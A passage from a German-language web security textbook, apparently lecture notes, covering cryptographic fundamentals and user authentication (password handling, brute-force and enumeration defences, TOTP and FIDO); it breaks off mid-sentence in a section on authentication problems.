KAPITEL 6
Kryptographische
Grundlagen

Kryptographie beschreibt die Technik (und Kunst) über nicht-vertrauenswürdige


Kanäle bzw. Speicherorte Daten integritäts- und vertraulichkeitsgesichert zu
übertragen. Dadurch kann Kryptographie als Mittel gegen spoofing, tampering,
repudiation und information disclosure dienen. Dieses Kapitel soll eine (ex-
trem) kurze Einführung in die, in diesem Dokument, verwendeten Konzepte
geben.
Bei der Verschlüsselung wird der ursprüngliche Text (häufig plaintext ge-
nannt) durch den Algorithmus in einen neuen, verschlüsselten, Text (häufig ci-
phertext genannt) konvertiert. Dieser Ciphertext kann durch die Entschlüsselung
wieder in den Plaintext zurück verwandelt werden. Die hierbei verwendeten
Algorithmen werden häufig Cipher genannt. In der Literatur werden die da-
bei beteiligten Partein meistens ident benannt: Alice und Bob sind die beiden
Parteien die miteinander sicher kommunizieren wollen. Eve ist ein Angreifer,
der diese Nachrichten abhören, aber nicht modifizieren kann; Mallory ist ein
Angreifer, der auch aktiv angreifen darf.
Grundlegend sollten folgende Grundsätze bei der Verwendung von Kryp-
tographie beachtet werden:

ˆ Niemals selbst ein kryptographisches System entwerfen, sondern immer


ein etabliertes (und getestetes) System verwenden.

59
60 KAPITEL 6. KRYPTOGRAPHISCHE GRUNDLAGEN

ˆ Niemals selbst einen kryptographischen Algorithmus/Bibliothek imple-


mentieren, sondern immer etablierte und getestet Komponenten verwen-
den.

ˆ Die richtige kryptographische Methode wählen.

ˆ Immer davon ausgehen, dass der eigene Source Code früher oder später
öffentlich wird. Aus diesem Grund darf ein kryptographischer Schlüssel
(oder auch Credentials) niemals Teil des Source Codes werden.

ˆ Essentiell zur sicheren Verwendung der verschiedenen kryptographischen


Methoden sind die dabei verwendeten Schüssel. Diese müssen sowohl si-
cher gespeichert als auch transportiert werden. Noch komplexer ist das
Herstellen eines Vertrauensverhältnis (Trust) zwischen den jeweiligen
Kommunikationspartnern: woher weiss ein Partner, dass ein vorhande-
ner Schlüssel eines anderen Kommunikationsparters vertrauenswürdig
ist? Key Management ist komplex und sollte nicht unterschätzt werden!

Jede implementierte und konfigurierbare kryptographische Methode erhöht


potentiell die Angriffsoberfläche. Ein Beispiel hierfür ist z. B. die OpenSSL-
Bibliothek die dutzende Algorithmen implementiert. Als Alternative sind in
den letzten Jahren kryptographische Bibliotheken wie NaCl (“salt”) entstan-
den, die für jede kryptographische Methode genau eine sichere Implementie-
rung anbieten. Auf diese Weise sollen Selektionsfehler durch Entwickler ver-
mieden werden.
Ein häufiger verwendeter Begriff ist Rubber Hose Cryptography. Ein noch
so technisch sicheres kryptographisches System kann durch bezahlte Schläger
mit einem Gummischlauch und der Androhung von Gewalt, falls das Op-
fer nicht den privaten Schlüssel mitteilt, günstig gebrochen werden. Anstatt
durch Androhung von Gewalt kann Rubber Hose Cryptography auch auf an-
dere Aspekte eines Schlüsselträgers abzielen: Geld, Ideologie, Coersion oder
Ego (Sex sells).

6.1 Verschlüsselung
Zur Wahrung der Vertraulichkeit von Daten wird Verschlüsselung eingesetzt.
Bei dieser wird der Originaltext (engl. plaintext) in einen verschlüsselten Text
(engl. ciphertext) konvertiert. Dieser kann wieder durch den Entschlüsselungs-
Vorgang in den Originaltext zurück verwandelt werden. Verschlüsselungsalgorithmen
können in zwei Familien eingeteilt werden: symmetrisch und asymmetrisch
(auch public-key encryption genannt). Bei symmetrischer Verschlüsselung wird
6.2. BLOCK- UND STREAM-CIPHER 61

zum ver- und entschlüsseln der idente Schlüssel verwendet. Problematisch


hierbei ist, dass dieser geteilte geheime Schlüssel initial zwischen allen Be-
teiligten verteilt werden muss. Bei der asymmetrischen Verschlüsselung wird
statt einem geteilten Schlüssel ein Schlüsselpaar1 verwendet. Dieses besteht
aus einem öffentlichen Schlüssel der zur Verschlüsselung dient und einem
zugehörigen privaten Schlüssel der zum Entschlüsseln verwendet wird. Da-
durch wird die Problematik des initialen Schlüsselverteilens entschärft, da nur
öffentliche Schlüssel verteilt werden müssen (diese dürfen veröffentlicht bzw.
verloren werden). Ein Nachteil asymmetrischer Verschlüsselung gegenüber sym-
metrischer Verschlüsselung ist, dass sie langsamer als symmetrische Verschlüsselung
ist.

6.2 Block- und Stream-Cipher


Eine weitere Unterscheidungsmöglichkeit für Verschlüsselungsalgorithmen ist
die in block und stream ciphers. Bei Blockciphern werden zuerst Daten an-
gehäuft (“ein Block” an plain-data) und dann dieser Block verschlüsselt. Bei
einem Streamcipher wird jedes Zeichen sofort verschlüsselt, das Sammeln von
Blocken wird so vermieden. Während Stream-Ciphers teilweise einfacher für
Programmierer in ihrer Verwendung sind, werden aus Effizienzgründen fast
ausschließlich Blockcipher verwendet. Werden zwei idente Blöcke mit dem
identen Schlüssel verschlüsselt, würden idente verschlüsselte Blöcke entste-
hen. Dies erlaubt es einem Angreifer, strukturelle Informationen aus ver-
schlüsselten Dokumenten zu extrahieren. Um dies zu vermeiden werden so
genannte Block Modes verwendet um sicherzustellen, dass idente plain-text
Blöcke unterschiedliche cipher-text Blöcke produzieren. Bei Auswahl des Block
Modes sollten GCM-Modes (bzw. AEAD-Varianten) bevorzugt und ECB bzw.
CBC Modes vermieden werden.

6.3 Integritätsschutz
Verschlüsselung gewährleistet nicht automatisch die Integrität der verschlüsselten
Daten. Hierfür müssen eigene Algorithmen verwendet werden. Häufig vorge-
funden werden Hashes, Message Authentication Codes (MACs) und Signatu-
ren. Vereinfacht ausgedruckt berechnen Hashes ausgehend von beliebig langen
Eingangsdaten eine Checksumme konstanter Größe. Wird ein Hash auf identen
Eingangsdaten angewandt, wird auch ein identer Hash berechnet. Ein Hash
1
Das Schlüsselpaar ist mathematisch “verwandt”.
62 KAPITEL 6. KRYPTOGRAPHISCHE GRUNDLAGEN

ist eine Einwegfunktion: während der zugehörige Hash zu einem Eingangsda-


tum schnell berechnet werden kann (gegeben den ursprünglichen Daten), ist
das Berechnen der Eingangsdaten ausgehend von einem Hash realistisch nicht
möglich.
Bei einem Message Authentication Code (MAC) wird der Hash um ein
geheimes geteiltes Passwort erweitert. Zur Berechnung bzw. Validierung ei-
nes MACs wird dieses Passwort benötigt. Analog zur symmetrischen Ver-
schlüsselung ergibt sich hier die Problematik der Schlüsselverteilung. Signatu-
ren lösen dieses Problem indem sie asymmetrische (public-key) Verschlüsselung
einsetzen. Bei ihnen kann die Checksumme (Signature) mit Hilfe des privaten
Schlüssels erstellt und mit Hilfe des öffentlichen Schlüssels verifiziert werden.
Dadurch entfällt das Problem der Schlüsselverteilung, allerdings wird auch
hier der Vorteil durch geringere Geschwindigkeit erkauft.
Je nach Einsatzbereich muss nun ein geeignetes Verfahren zur Integritätssicherung
und Verschlüsselung gewählt werden. Werden Daten über ein öffentliches bzw.
feindliches Netzwerk transferiert ist z. B. der Einsatz eines Hashes problema-
tisch. Falls ein Angreifer einen Datensatz abfangen und modifizieren kann,
kann er ebenso einen neuen Hash berechnen und so den Integritätsschutz um-
gehen. Bei diesem Beispiel wäre der Einsatz eines MACs oder von Signaturen
sinnvoller.

6.4 Zufallszahlen
Bei der korrekten Verwendung von kryptographischen Methoden ist der Ein-
satz guter Zufallszahlengenerator essentiell. Dieser sollte Zufallszahlen mit
hoher Entropie generieren. Dies kann z. B. durch Einsatz eines Hardware-
Zufallsgenerators sichergestellt werden. Ist ein solcher nicht verfügbar, muss
ein kryptographisch sicherer Pseudo-Zufallszahlengenerator (PRNG) verwen-
det werden. Moderne Betriebssysteme bieten zumeist hybride Lösungen an:
hierbei werden zwar PRNGs verwendet, diese allerdings mit Entropie aus wei-
teren Quelle2 angereichert.
Die Qualität der generierten Zufallszahlen kann über deren Entropie be-
stimmt werden. Hierbei wird über statistische Methoden die Qualität der
Zufälligkeit der generierten Karten ermittelt.

2
Z. B. aus CPU-Zufallszahlengeneratoren, etc.
6.5. WEITERE INFORMATIONSQUELLEN 63

6.5 Weitere Informationsquellen


Entwickler benötigen Guidance zur Selektion der jeweiligen kryptographischen
Algorithmen, hier eine kleine Auswahl öffentlich verfügbarer Dokumente:

1. Das amerikanische NIST gibt Empfehlungen für Cryptographical Stan-


dards ab, z. B. SP-800-175B3 . Aufgrund der Zusammenarbeit des NIST
mit der amerikanischen NSA bei zu vorigen Crypto-Standards (Vermu-
tung der Platzierung einer Backdoor in einen Random-Number-Generator)
wird mittlerweile gerne von den NIST-Empfehlungen abgesehen.

2. Die europäische ENISA gibt regelmäßig Empfehlungen zu verwendeten


kryptographischen Standards und Schlüssellängen ab (Algorithms, key
size and parameter report 2014 4 . Während diese relativ gut sind, ist die
Frequenz der Veröffentlichung für IT-Verhältnisse etwas behäbig (4-5
Jahre).

3. Das deutsche Bundesamt für Sicherheit in der Informationstechnik (BSI)


bietet häufig überarbeitete Empfehlungen zum Einsatz kryptographi-
scher Methoden an (BSI TR-021025 ). Diese sind relativ aktuell und klas-
sifizieren Algorithmen in sichere Algorithmen die bei aktuellen Neuent-
wicklungen verwendet werden sollen und in legacy-Algorithmen, die zwar
nicht mehr bei Neuentwicklungen verwendet werden sollten, die aber bei
bestehender Software durchaus weiterverwendet werden können.

4. das BetterCrypto.org6 bietet regelmäßig upgedatete Beispielskonfigura-


tionen für geläufige Webserver. Diese sollten dazu dienen, dass ein Ad-
ministrator diese Snippets direkt in die Konfiguration eines Webservers
kopieren können und dadurch eine sichere Konfiguration erreicht wird.

6.6 Reflektionsfragen
1. Welche Grundideen sollten bei dem Entwurf und Einsatz kryptographi-
scher Methoden angewandt werden?
3
[Link]
4
[Link]
ers-report-2014
5
[Link]
ndex [Link]
6
[Link]
64 KAPITEL 6. KRYPTOGRAPHISCHE GRUNDLAGEN

2. Wann sollte ein MAC verwendet werden? Stelle diesen einem Hash oder
einer kryptographsichen Signatur gegenüber.
Teil II

Authentication und
Authorisierung

65
KAPITEL 7
Authentifikation

Sobald eine Webapplikation sensitive bzw. privilegierte Operationen und Da-


ten bereitstellt, besteht die Notwendigkeit die Identität des zugreifenden Be-
nutzers zu erheben und zu verifizieren.
Authentifikation kann als die Verifikation einer behaupteten Benutzeriden-
tität über zuvor ausgetauschte Details (wie z.B. das während der Registrierung
angegebenen Passwort) definiert werden. Nach erfolgtem Login wird zumeist
eine langfristige Verbindung (Session) zu dem Benutzer aufgebaut. Bei Folge-
zugriffen wird dieses Vertrauensverhältnis verwendet, um den Benutzer sowohl
zu identifizieren als auch authentifizieren.

7.1 Identifikation und Authentifikation


Bei der Identifikation claimed der Benutzer seine Identität, z.B. durch Angabe
eines zuvor registrierten Benutzernamens. Weitere Möglichkeiten wären z.B.
SmartCards oder biometrische Methoden. Die Identifikation wird zumeist mit
einer Authentifikation kombiniert.
Die Authentifikation dient zur Validierung der behaupteten Identität des
Benutzers. Es gibt mehrere Möglichkeiten (Faktoren) über welche ein Benutzer
seine Identität authentifizieren kann, Tabelle 7.1 gibt eine kurze Übersicht
häufig genutzter Faktoren.
Bei der initialen Registrierung und bei nachfolgenden Anmeldungen können
unterschiedliche Faktoren verwendet werden. Z. B. VideoIdent bei der Regis-
trierung, bei Folgeanmeldungen Passwörter.

67
68 KAPITEL 7. AUTHENTIFIKATION

Faktor Art
Passwort Something you know
Hardware-Tokens something you have
Biometrie something you are
Soziale Beziehungen someone you know
Email-Konto z.B. Slackanmeldung mittels Link in
Email
PostIdent Verifikation am Postamt mittels Ausweis
VideoIdent Verifikation mit Ausweis mittels Video-
konferenz
PhotoIdent Verifikation über zugeschicktes Ausweis-
bild

Tabelle 7.1: Verschiedene Faktoren zur Authentication

Durch die Kombination mehrere Faktoren erhält man eine Multifaktor-


Authentifikation (MFA), häufig wird als Zweifaktoren-Authentifikation (2FA)
ein Passwort mit einem Token kombiniert. Wichtig bei der MFA ist die Wahl
von Faktoren aus unterschiedlichen Klassen. Es macht z.B. wenig Sinn eine
Fingerprint-Authentifikation mit einer Iris-Authentifikation zu kombinieren.
Ein schönes Beispiel, bei dem Faktoren verschiedener Klassen schlecht durch
einen User kombiniert werden wäre es, wenn der Benutzer einer Bankomat-
karte seinen PIN (something you know) auf seine Bankomatkarte (something
you have) schreibt.

7.2 Login- und Logout


Wenn ein Login- und Logout innerhalb der Applikation implementiert werden,
müssen gewisse Grundfunktionen abgedeckt sein.

7.2.1 Login-Formular
Das Login-Formular sollte entsprechend dem KISS-Prinzip als einfaches HTML-
Formular implementiert werden. Hauptgrund dafür ist, dass das Login-Formular
mit Passwort-Managern kompatibel sein sollte. Dies impliziert, dass das Login-
Formular aus Textfeldern für Benutzername und Passwort als auch einem
Login-Button bestehen sollte.
Negative Beispiele die den Einsatz von Passwort-Managern erschweren:
7.2. LOGIN- UND LOGOUT 69

ˆ Benutzername und Passwort-Feld sind nicht innerhalb der gleichen Seite

ˆ Password-Feld wird erst angezeigt, nachdem ein Benutzername eingege-


ben wurde

ˆ Verwendung von Flash-, Silverlight- oder Java-Applets

ˆ Authentication through EMail a la Slack (Email mit Bestätigungslink


dient als Passwortersatz)

ˆ HTTP BASIC basierte Authentifikation

7.2.2 User Enumeration Angriffe


Eine User Enumeration liegt vor, wenn ein Angreifer gezielt Informationen
über das Vorhandensein eines Benutzers erzielen kann. Zumeist geschieht dies
über schlecht gewählte Fehlermeldungen. So kann ein Angreifer bei der Feh-
lermeldung “Passwort invalid” davon ausgehen, dass ein Benutzername dem
System bekannt ist. Lösung: Verwendung generischer Fehlermeldungen wie
“Benutzer/Passwort-Kombination nicht bekannt”.
Während dies bei einem Login-Formular leicht zu bewerkstelligen ist, sind
weitere Operationen komplexer:

ˆ “Passwort vergessen”-Funktion: hier muss meistens eine Email-Adresse


angegeben werden. Falls die Email-Adresse dem System nicht bekannt
ist, sollte keine Fehlermeldung ausgegeben werden, sondern ein Hinweis,
dass an die angegebene Email eine Benachrichtigungsemail versendet
wurde.

ˆ Bereits vorhandene Email-Adresse bei Registrierung: hier sollte ebenso


eine neutrale Erfolgsmeldung innerhalb der Webseite ausgegeben, und
anschließend in einer Bestätigungsemail der Benutzer darauf hingewie-
sen werden, dass er bereits ein Konto mit der Email-Adresse angelegt
hatte.

ˆ Bereits vorhandener Login bei Registrierung: hier muss dem User eine
Fehlermeldung angezeigt werden.

Generell ist dieser Bereich einer derjenigen, bei denen Usability und Secu-
rity potentiell konträre Ziele besitzen.
70 KAPITEL 7. AUTHENTIFIKATION

7.2.3 Brute-Force Angriffe gegen Login-Formular


Brute-Force Angriffe versuchen mittels automatisierter Anfragen eine valide
Kombination von Benutzernamen und Passwort zu erraten. Durch die Kennt-
nis bekannter Benutzernamen können Brute-Force Angriffe beschleunigt wer-
den (z.B. durch eine zu vorige User Enumeration).
Technisch sind Brute-Force Angriffe einfach umzusetzen, Tool-Support ist
massiv vorhanden. Die erreichte Geschwindigkeit befindet sich meistens bei
mehreren Zehntausend Versuchen pro Stunde.
Brute-Force Angriffe versuchen entweder eine Kombination des gesamten
Testbereichs (Buchstaben, Zahlen, Sonderzeichen) oder verwenden vorbereite-
te Passwortlisten. Diese können auf verschiedene Arten bereitgestellt werden:

ˆ Sammlung von Passwörtern von etwaigen Password Leaks.

ˆ Automatisch generierte Liste basierend auf den öffentlichen Seiten der


zu testenden Homepage.

ˆ Deep-Learning basierte Verfahren, die basierend auf existierenden Pass-


wortlisten neue Passwortlisten generieren.

Gegenmaßnahmen zielen auf eine Verlangsamung des Angriffs bzw. auf


eine Sperre betroffener Konten ab:

ˆ Rate-Limits bzw. Verlangsamung bei Fehlerseiten.

ˆ Sperre von Benutzeraccounts bzw. IP-Adressen nach einer definierten


Anzahl von Fehlversuchen.

ˆ Einsatz einer Mehrfaktorauthentication. Durch die benötigte manuel-


le Interaktion wird eine Brute-Force Attacke ausgebremst. Hier ist die
Wahl eines geeigneten Faktors und eine geeignete Integration notwendig.

7.2.4 Logout
Symmetrisch zum Login sollte auch eine Logout-Operation implementiert wer-
den. Dadurch kann der Benutzer seine Session beenden und dadurch das
mögliche verwendbare Zeitfenster gegenüber Angriffen (z.B. gegenüber CSRF-
Angriffen) verkleinern.
Bei neueren Standards wie der ÖNORM A77.00 gibt es die Anforderung,
dass der Benutzer nicht nur seine aktuelle, sondern auch alle seine bestehenden
Sitzungen beenden kann.
7.3. BEHANDLUNG VON PASSWÖRTERN 71

Beispiel: Benutzer besitzt einen Desktop und einen Laptop. Der Laptop
wird gestohlen, es sollte möglich sein eine offene Web-session am Laptop über
den Desktop zu beenden.

7.2.5 Deaktivieren/Sperren/Löschen von Accounts


Wird ein Benutzeraccount gelöscht oder deaktiviert stellt sich die Frage, wie
mit den gelöschten Daten des Benutzers umzugehen ist. Wurde ein Account
gesperrt muss dafür Sorge getragen werden, dass:

ˆ bereits ausgestellte Recovery-Codes den Account nicht reaktivieren können

ˆ aktive Benutzersessions beendet werden

ˆ der Benutzer sich nicht mehr einloggen kann

Die Hauptfrage bei einem zu löschenden Account ist, welche Daten gelöscht,
und welche Daten persistiert werden müssen (beides primär aus rechtlichen
Gründen).

7.3 Behandlung von Passwörtern


Die grundsätzliche Strategie wäre, keine Passwörter in der Applikation zu
speichern, einzugeben oder zu verarbeiten. Wenn die Applikation niemals Zu-
griff auf Passwörter hat, können diese auch nicht verloren werden. Falls dies
nicht möglich ist, müssen beim Umgang mit Passwörtern gewisse Grundregeln
eingehalten werden.
Genauere Informationen zur sicheren Speicherung von Passwörtern können
im Kapitel Sensitive Data Exposure (4.3) gefunden werden.
Prinzipiell können Angriffe gegen Passwörter in drei Kategorien eingeteilt
werden:

1. Disclosure tritt auf, wenn das Passwort unbeabsichtigt “veröffentlicht”


wird. Dies kann z.B. durch Notizzettel, Wikis oder auch durch phishing
geschehen.

2. Online Attacks sind Angriffe gegenüber einem Login-System. Diese können


durch das Websystem erkannt werden.

3. Offline Attacks sind Angriffe gegenüber geleakten Passwort-Hashes. Die-


se können durch das Websystem nicht erkannt werden.
72 KAPITEL 7. AUTHENTIFIKATION

7.3.1 Passwort-Qualität
Kann ein neues Passwort in der Applikation gesetzt werden, sollte dieses ge-
wisse Mindestanforderungen erfüllen. 2018 wurden die NIST 800-63-3: Digital
Identity Guidelines1 veröffentlicht, diese inkludieren mehrere Best-Pracises im
Umgang mit Passwörtern:

ˆ Minimale Passwortlänge: 8 Zeichen. Ein Unicode Zeichen ist ein Zeichen.

ˆ Falls ein Benutzer ein längeres Passwort eingibt, müssen mindestens 64


Zeichen gespeichert werden.

ˆ Das periodische Neusetzen von Passwörtern wird nicht mehr gefordert.


Diese Maßnahme bewirkte schwächere Passwörter.

ˆ Komplexitätsregeln bei Passwörtern (mindestens ein Sonderzeichen und


ähnliches) wurden entfernt.

ˆ Neu eingegebene Passwörter müssen gegen eine Liste von bekannten


Passwort-Leaks und gegen bekannte Standard bzw. häufig genutzte Passwörter
getestet werden.

ˆ Passwort-Hints dürfen nicht mehr verwendet werden.

Um eingegebene Passwörter gegen eine Liste von geleakten Passwörtern


zu überprüfen, kann z.B. von [Link] (im Folgen-
den immer haveibeenpwned genannt) eine ca. 10 Gigabyte große Liste an
Passwort-Hashes heruntergeladen werden. Alternativ bietet haveibeenpwned
einen Passwort-Check Service an. Bei diesem werden Passwörter nicht als Hash
übermittelt (ansonsten würde der Serverbetreiber Wissen über die verwende-
ten Passwörter erhalten), sondern es wird das Passwort gehashed, die ersten
5 Zeichen des Hashes übertragen und anschließend eine Liste aller gefundenen
Hashes an den Client zurück übertragen.

7.3.2 Passwort-Reset
Ein wichtiger Grundsatz ist Account recovery not password recovery. Dieser
sagt aus, dass der Benutzer wieder Zugang zu seinem Account erhält, aber
nicht sein bestehendes Passwort einsehen kann. In einer korrekt implemen-
tierten Applikation sollte das bestehende Passwort nirgends unverschlüsselt
1
[Link]
7.3. BEHANDLUNG VON PASSWÖRTERN 73

gespeichert werden, daher sollte diese Möglichkeit prinzipiell nicht technisch


möglich sein.
Meistens wird man aus Gründen der Usability dem User eine Möglichkeit
des Passwort-Resets geben. Dies wird normalerweise über eine Email mit ei-
nem Passwort-Reset Link implementiert. Folgende Implementierungshinweise:

ˆ Dem User sein bestehendes Passwort zuzusenden ist ein epic fail da
hierfür das Passwort unverschlüsselt gespeichert werden müsste.

ˆ Dem Benutzer ein neues Passwort per Email zuzuschicken sollte vermie-
den werden.

ˆ Der generierte Link sollte nur einmalig verwendbar sein, und auch nur
das Updaten des aktuellen (vergessenen) Passworts erlauben.

ˆ der generierte Link sollte nur für den betreffenden User verwendbar sein.

Hinweis: die aktuellen NIST Richtlinien verbieten explizit die Verwendung


von “Passwort Fragen” (“In welcher Straße bist du aufgewachsen, etc.”) zum
Zurücksetzen des Passworts. Grund: diese Fragen waren bei bekannteren Per-
sonen einfach nachzuforschen.
Die Verifikation kann auch über Alternate Transports geschehen. Ein Bei-
spiel wäre die österreichische Sozialversicherung, bei der ein neues Passwort
über einen eingeschriebenen Brief an den User verschickt wird. Dadurch wird
eine Identitätsfeststellung des Empfängers erzwungen.
Sobald ein neues Passwort gesetzt wurde sollte der Benutzer über meh-
rere Wege über diese Passwortänderung notifiziert, und ihm eine Möglichkeit
der Account-Sperre gegeben, werden. Typische Nachrichtenwege wären z.B.
Emails oder SMS.

7.3.3 Ändern von Passwörtern


Der Benutzer sollte die Möglichkeit besitzen, sein Passwort neu zu setzen. Für
eine sichere Operation muss folgendes gegeben sein:

ˆ der User muss aktuell authenticated sein

ˆ der Benutzer kann nur sein eigenes Passwort ändern

ˆ im Zuge der Operation, die das neue Passwort setzt, muss auch das alte
Passwort erfragt werden.
74 KAPITEL 7. AUTHENTIFIKATION

Das bestehende Password wird erfragt, damit ein Angreifer mit Zugriff auf
die Session nicht ein neues Passwort setzen kann (und dadurch unbegrenzten
Zugriff auf das Benutzerkonto erhält). Im einfachsten Fall geschieht so ein
Angriff indem der Angreifer auf einem nicht-gesperrten Computer ein neues
Passwort innerhalb einer eingeloggten Webapplikation eingibt.
Damit diese Schutzmaßnahme funktioniert, müssen sowohl das alte als
auch das neue Passwort im gleichen Schritt übermittelt werden. Ebenso ver-
hindert dies CSRF-basierte Angriffe.

7.3.4 Passwörter für Dritt-Dienste


Teilweise können Passwörter nicht gehashed innerhalb der Applikation ge-
speichert werden. Dies tritt zum Beispiel auf, wenn das Passwort an eine
Drittapplikationen weitergegeben werden muss – eine Webapplikation wel-
che zur Darstellung eines IMAP-Emailkontos dient muss z.B. innerhalb der
Applikation die Zugangsdaten für das externe Email-System speichern. Falls
dieser Email-Server das Passwort in plain-text benötigt, muss die Applikation
nun auch das Passwort in plain-text speichern und kann daher keine Einweg-
Hashfunktion anwenden.
Prinzipiell ist hier das Grundproblem, dass das sensible Passwort an eine
externe, potentiell nicht vertrauenswürdige, Applikation übergeben werden
muss.

7.4 Alternativen zu Passwort-basierten Logins


Benutzer sind notorisch schlecht bei der Wahl sicherer Passwörter. Um die-
se Gefahrenquelle zu minimieren wird versucht, entweder die Sicherheit des
Login-Vorgangs mit einem zweiten Faktor zu verstärken, oder Passwörter voll-
kommen durch physikalische Tokens zu ersetzen.
TOTP ist ein Verfahren, dass zur Implementierung eines zweiten Fak-
tors eingesetzt werden kann. Im Gegensatz dazu, werden die Protokolle der
FIDO-Allianz häufig für die Implementierung Passwort-loser Authentifizie-
rungsvorgänge genutzt.

7.4.1 TOTP
Time-based One-Time Passwords (TOTP, RFC 6238) ist ein häufig verwende-
tes Verfahren zur Implementierung eines weiteren Authentication-Faktors. Es
ist ein Zusammenspiel zwischen Authenticator (meist eine mobile Applikation)
und einer Webapplikation.
7.4. ALTERNATIVEN ZU PASSWORT-BASIERTEN LOGINS 75

Initial wird ein shared secret key zwischen Authenticator und Webappli-
kation ausgetauscht. Wird nun eine Authentifikation benötigt wird nun auf
beiden Seiten die aktuelle Systemzeit (in Sekunden seit Beginn der UNIX
Epoche) auf 30 Sekunden gerundet und ein MAC (unter Zuhilfenahme des
shared secret keys) gebildet. Dieser MAC wird nun auf 31 bit gekürzt und in
einen 6 oder 8 stelligen Zahlencode verwandelt. Dieser wird am Authentica-
tor angezeigt und muss vom User in der Webapplikation als weiterer Faktor
eingegeben werden. Sofern beide berechnete Werte ident sind, wird die Au-
thentifikation erfolgreich durchgeführt.
Ein Vorteil dieses Verfahrens ist, dass nach dem initialen Schlüsselaustausch
keine Netzwerkverbindung zwischen Authenticator und Applikation benötigt
wird. Ein Nachteil ist, dass die Systemuhren der betroffenen Systeme synchro-
nisiert werden müssen. Ebenso kann bei TOTP kein device-binding durch-
geführt werden: die Webapplikation kann nicht feststellen, auf wie vielen devi-
ces ein TOTP-Secret eingespielt wurde. Ebenso ist der Vorgang der initialen
Secret-Verteilung gefährlich: wird hier z.B. von einem Benutzer ein Selfie in-
klusive dem QR-Code/Secret-Code erstellt und veröffentlicht, wurde auf diese
Weise die gesamte Sicherheit des Verfahrens kompromittiert.

7.4.2 Protokolle der FIDO-Alliance


Die FIDO-Alliance ist eine nicht-kommerzielle Vereinigung von über 150 Un-
ternehmen und Behörden mit dem Ziel, offene und lizenzfreie Authentifizierung-
Industriestandards zu schaffen. Ihre Mitglieder beinhalten u.a. Alibaba, Goo-
gle, Microsoft, Samsung und YubiCo. Die Abkürzung FIDO steht dabei für
Fast IDentity Online.
Ende 2014 wurde FIDO 1.0 veröffentlicht, dieser Standard umfasste:

ˆ U2F (Universal Second Factor) standardisiert den Einsatz von physika-


lischen Tokens (wie z.B. einem Yubikey). Sofern die Webapplikation und
der verwendete Webbrowser U2F unterstützen kann der Benutzer sich
mit einem Hardware-Token authentifizieren (z.B. durch Knopfdruck auf
einem USB-Stick oder durch Antappen eines NFC/BLE Tokens).

ˆ UAF (Universal Authentication Framework) dient zur Implementierung


eines Passwort-losen Logins. Der Benutzer muss über ein UAF-kompatibles
Endgerät verfügen (z.B. Windows 10) und registriert quasi sein Endgerät
bei der Webapplikation.

Das Grundprinzip basiert auf public key Kryptographie. Wenn ein Au-
thenticator (z.B. Android Gerät) als Gerät eines Benutzers registriert wird,
76 KAPITEL 7. AUTHENTIFIKATION

wird im Gerät ein public/private key pair generiert und der public key dem
FIDO Server mitgeteilt. Im Falle einer Benutzerauthentication wird die An-
frage des Servers vom Client mit dem private key signiert, mit dem serverseitig
hinterlegten public key verglichen und damit die Identität des Benutzers veri-
fiziert. Lokal werden meistens biometrische Methoden zum Schutz der Tokens
verwendet.
FIDO2 kombiniert mehrere Projekte um eine passwortlose Authentication
zu erlauben. Das vom W3C standardisierte WebAuthn wird von Webbrow-
sern implementiert und erlaubt es Webapplikationen (mittels JavaScript) eine
FIDO Benutzerauthentication durchzuführen. Das Client-to-Authenticator-
Protocol (CTAP) standardisiert das Kommunikationprotokoll zwischen Au-
thenticator (Hardware-Tokens) und dem Webbrowser (Client). Es gibt zwei
Varianten CTAP1 und CTAP2 wobei CTAP1 dem FIDO U2F Standard ent-
spricht.

7.4.3 Gegenüberstellung FIDO/TOTP


Wird FIDO mit TOTP verglichen, können konzeptionelle Unterschiede er-
kannt werden:

ˆ FIDO1/2 überträgt nur einen öffentlichen Schlüssel während der Regis-


trierung eines neuen Authenticators. TOTP überträgt ein shared secret.
Bei FIDO verlässt der geheime Schlüssel niemals den Authenticator.

ˆ TOTP benötigt im Gegensatz zu FIDO während der Authentifizierung


keine aktive Netzwerkverbindung zwischen Authenticator und Service.
Stattdessen benötigt TOTP eine synchronisierte Systemzeit zwischen
allen beteiligten Parteien.

ˆ Da bei FIDO der geheime Schlüssel nicht den Authenticator verlässt,


gibt es ein Pairing zwischen dem Device und dem Service. Bei TOTP
kann ein Benutzer das idente shared secret mit mehreren Authenticators
verwenden, eine Zuordnung zu einem dedizierten Authenticator ist daher
nicht möglich.

ˆ TOTP besitzt keine Hardware-Requirements und kann daher gratis in


Software implementiert werden. Während FIDO ein freier Standard ist,
setzt es einen Hardware-Token voraus — dadurch ist der Einsatz von
FIDO mit Hardware-Kosten verbunden und ist tendenziell nicht “gra-
tis”.
7.5. AUTHENTICATION VON OPERATIONEN 77

7.5 Authentication von Operationen


Um eine serverseitige Rechtekontrolle durchführen zu können ist sowohl eine
Benutzer-Identifikation, -Authentifikation und Authorization notwendig. Es
muss sowohl die Benutzeridentität als auch dessen Berechtigung (Authoriza-
tion) überprüft werden. Dies muss vor Exekution der aufgerufenen Operation
serverseitig durchgeführt werden.
Da für jede Überprüfung der Authorization eine Feststellung der Benut-
zeridentität notwendig ist, werden beide meistens zusammengefasst durch-
geführt. Ein wichtiger Unterschied ist, dass bei einem Fehler innerhalb der
Authorization ein Angreifer eine Operation trotz fehlender Berechtigung auf-
rufen kann, dieser Aufruf allerdings einem bestehenden Benutzerkonto zuge-
ordnet werden kann (audit/log trail). Bei Fehlern in der Authentifikation kann
jeder anonyme Internetbenutzer auf die betroffenen Operationen und Daten
zugreifen. Dies gilt auch für automatisierte Scantools, Search Bots und Craw-
ler. Falls bei der Transportlevel-Sicherheit auch Fehler vorhanden sind, besteht
ebenso großes Risiko durch Man-in-the-Middle Proxies (MitM-Proxies).

7.5.1 Probleme im Umfeld der Authentication


Das schwerwiegendste Problem wäre es, wenn keine Kontrolle der Authenti-
cation durchgeführt wird. Nach einem Login kann jeder anonyme Benutzer
auf alle Operationen und Daten zugreifen, eine Zuordnung der Operations-
ausführung zu einem eingeloggten Benutzer findet nicht statt. Prinzipiell han-
delt es sich hierbei um Security-by-Obscurity da die Sicherheit der Operatio-
nen und Daten nur davon abhängt, dass der Angreifer die URL der Opera-
tionen nicht kennt. Dies ist allerdings selten der Fall, da MitM-Proxies und
Crawler zur Identifikation der Operationen verwendet werden können. Eben-
so stellen die meisten API-Server automatisch generierte Dokumentation der
bereitgestellten Operationen zur Verfügung.
In abgeschwächter Form kann eine ähnliche Schwachstelle teilweise bei
historisch gewachsenen Applikationen gefunden werden. Hier haben sich im
Laufe der Zeit Technologietrends, Firmen-Guidelines oder Programmierteams
